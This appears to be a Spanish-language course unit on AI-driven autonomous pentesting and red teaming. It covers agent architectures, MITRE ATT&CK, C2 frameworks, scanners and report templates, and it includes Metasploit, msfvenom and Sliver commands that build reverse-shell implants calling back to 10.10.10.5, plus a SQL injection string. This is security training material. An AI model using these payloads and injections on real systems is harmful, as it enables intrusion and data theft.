🚀 Unidad 5: Pentesting Autónomo y Red Teaming Agéntico

Pentesting Autónomo

🎯 Objetivos de Aprendizaje

  • Automatizar tareas de pentesting utilizando agentes de IA.
  • Planificar y ejecutar campañas de Red Team completas.
  • Utilizar herramientas autonomous de pentesting.
  • Generar reportes automatizados profesionales.

📚 Contenido Teórico

🤖 5.1 Automatización con IA

El pentesting automatizado con IA representa la evolución de las herramientas tradicionales hacia sistemas que pueden tomar decisiones autonomously.

🎯 Agentic Pentesting

Un agente de pentesting es un sistema que: 1. Recibe un objetivo 2. Planifica ataques automáticamente 3. Ejecuta exploits 4. Adapta basada en resultados 5. Reporta hallazgos

Arquitectura:

Input: Objetivo (URL/IP)
    ↓
[Agente IA - Planner]
    ↓
[Agente IA - Executor] → Herramientas (Nmap, SQLmap, etc.)
    ↓
[Agente IA - Analyzer] → Evalúa resultados
    ↓
[Agente IA - Reporter] → Genera reporte

🛠️ Herramientas de Pentesting AI

AutoPentest:

# Instalación
git clone https://github.com/verovaleros/AutoPentest
cd AutoPentest
pip install -r requirements.txt

# Uso
python autopentest.py --target 10.10.10.10

PentestGPT:

# Requiere API key de OpenAI
pip install pentestgpt
pentestgpt --target example.com --api-key YOUR_KEY

ReconAIgent:

# Automatización de reconocimiento
python reconaigent.py --domain target.com

🤖 AI-Assisted Reconnaissance

Combina herramientas tradicionales con LLM para análisis: - Análisis automático de resultados de Nmap - Sugerencia de próximos pasos - Explicación de vulnerabilidades


⚔️ 5.2 Red Teaming

Red Teaming es una evaluación de seguridad integral que simula un adversario real, no solo vulnerabilidades técnicas.

📋 Planificación de Campañas

Fases de un Red Team:

  1. Intelligence Gathering: OSINT, reconocimiento
  2. Initial Access: Phishing, credenciales robadas, exploits
  3. Persistence: Backdoors, implants
  4. Lateral Movement: Pivoting a otros sistemas
  5. Collection: Exfiltración de datos
  6. Exfiltration: Envío de datos al C2
  7. Reporting: Documentación ejecutiva

📊 MITRE ATT&CK

Framework que documenta TTPs (Tactics, Techniques, Procedures):

Tactic Descripción
Recon Recolección de información
Resource Development Establecer recursos
Initial Access Ganar acceso inicial
Execution Ejecutar código
Persistence Mantener acceso
Privilege Escalation Ganar permisos
Defense Evasion Evadir defensas
Credential Access Robar credenciales
Discovery Explorar el entorno
Lateral Movement Moverse lateralmente
Collection Recolectar datos
Command and Control Comunicar con C2
Exfiltration Exfiltrar datos
Impact Impactar el sistema

Navegador ATT&CK:

# Instalar
git clone https://github.com/mitre/attack-navigator
cd attack-navigator
npm install
npm start

🎯 C2 Frameworks

Command and Control frameworks gestionan la comunicación con implants comprometidos.

Metasploit:

# Iniciar
msfconsole

# Configurar handler
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 10.10.10.5
set LPORT 443
run

# Generar payload
msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.10.5 LPORT=443 -f exe -o payload.exe

Sliver (Open Source):

# Server
sliver
> generate --mtls 10.10.10.5
> http 10.10.10.5
> https 10.10.10.5

# Client (en victim)
./client --mtls 10.10.10.5

Havoc (Moderno):

# Server
./havoc server --config ./teamserver.toml

# Cliente
./havoc client

Comparativa:

Framework Tipo Costo Características
Metasploit Full Gratuito Ecosistema amplio
Sliver C2 Gratuito Moderno, Go
Havoc C2 Gratuito UI moderna
Cobalt Strike C2 $$$$ Industria estándar

🤖 5.3 Herramientas Autonomous

🧠 CustomGPTs para Pentesting

OpenAI permite crear GPTs personalizados: - Análisis de logs de seguridad - Generación de payloads - Recomendaciones de remediación

Casos de uso: - Revisión de código de seguridad - Generación de reportes - Análisis de resultados de escaneo

🔍 Autonomous Scanning Tools

AutoRecon:

# Instalación
git clone https://github.com/Tib3rius/AutoRecon
cd AutoRecon
pip install -r requirements.txt

# Uso
python3 autorecon.py 10.10.10.10 -vv

Grype (Vulnerability Scanner):

# Escaneo de contenedores
grype nginx:latest

# Escaneo de directorio
grype dir:./myapp

Nuclei (Template-based scanning):

# Escaneo básico
nuclei -u https://example.com

# Escaneo con templates específicos
nuclei -u target -tags cve

📝 5.4 Reporting Automatizado

⚖️ Priorización de Hallazgos

CVSS (Common Vulnerability Scoring System): - 0.0 - 3.9: Bajo - 4.0 - 6.9: Medio - 7.0 - 8.9: Alto - 9.0 - 10.0: Crítico

Factores a considerar: - Explotabilidad - Impacto técnico - Impacto de negocio - Exposición

📄 Herramientas de Reporting

Dradis CE:

# Instalación Docker
docker run -d -p 3000:3000 dradis/docker-ce

Ghostwriter:

# Instalación
git clone https://github.com/GhostManager/Ghostwriter
cd Ghostwriter
docker-compose up -d

Plantillas:

# Finding: SQL Injection

## Severidad: Crítica (CVSS 9.8)

### Descripción
La aplicación es vulnerable a SQL Injection en el parámetro 'id'.

### Pasos para reproducir
1. Navegar a /products?id=1
2. Modificar a: /products?id=1' OR '1'='1

### Impacto
- Acceso completo a la base de datos
- Exfiltración de datos de usuarios
- Posible compromiso del servidor

### Recomendaciones
- Usar prepared statements
- Validar entrada del usuario
- Aplicar principio de menor privilegio

### Referencias
- OWASP A03: Injection
- CWE-89: SQL Injection

🛠️ Herramientas

Herramienta Propósito Instalación
Metasploit Framework de explotación msfconsole
Sliver C2 Framework go install github.com/bishopfox/sliver@latest
Havoc C2 Framework github.com/HavocFramework
AutoRecon Escaneo automatizado pip install autorecon
Nuclei Scanner basado en templates pip install nuclei
Grype Escaneo de vulnerabilidades brew install grype
PentestGPT Asistente AI pip install pentestgpt
Dradis CE Reporting dradis.com
Ghostwriter Reporting github.com/GhostManager

🔬 Laboratorio

Ver labs/lab-unidad5.md para el escenario completo.

Escenario: Ejecutar pentest autónomo en Metasploitable 2: 1. AutoRecon para enumeración 2. Identificación de vulnerabilidades 3. Explotación con Metasploit 4. Generar reporte automático

Entregable: Reporte técnico con hallazgos priorizados.


📚 Recursos Adicionales


📖 Bibliografía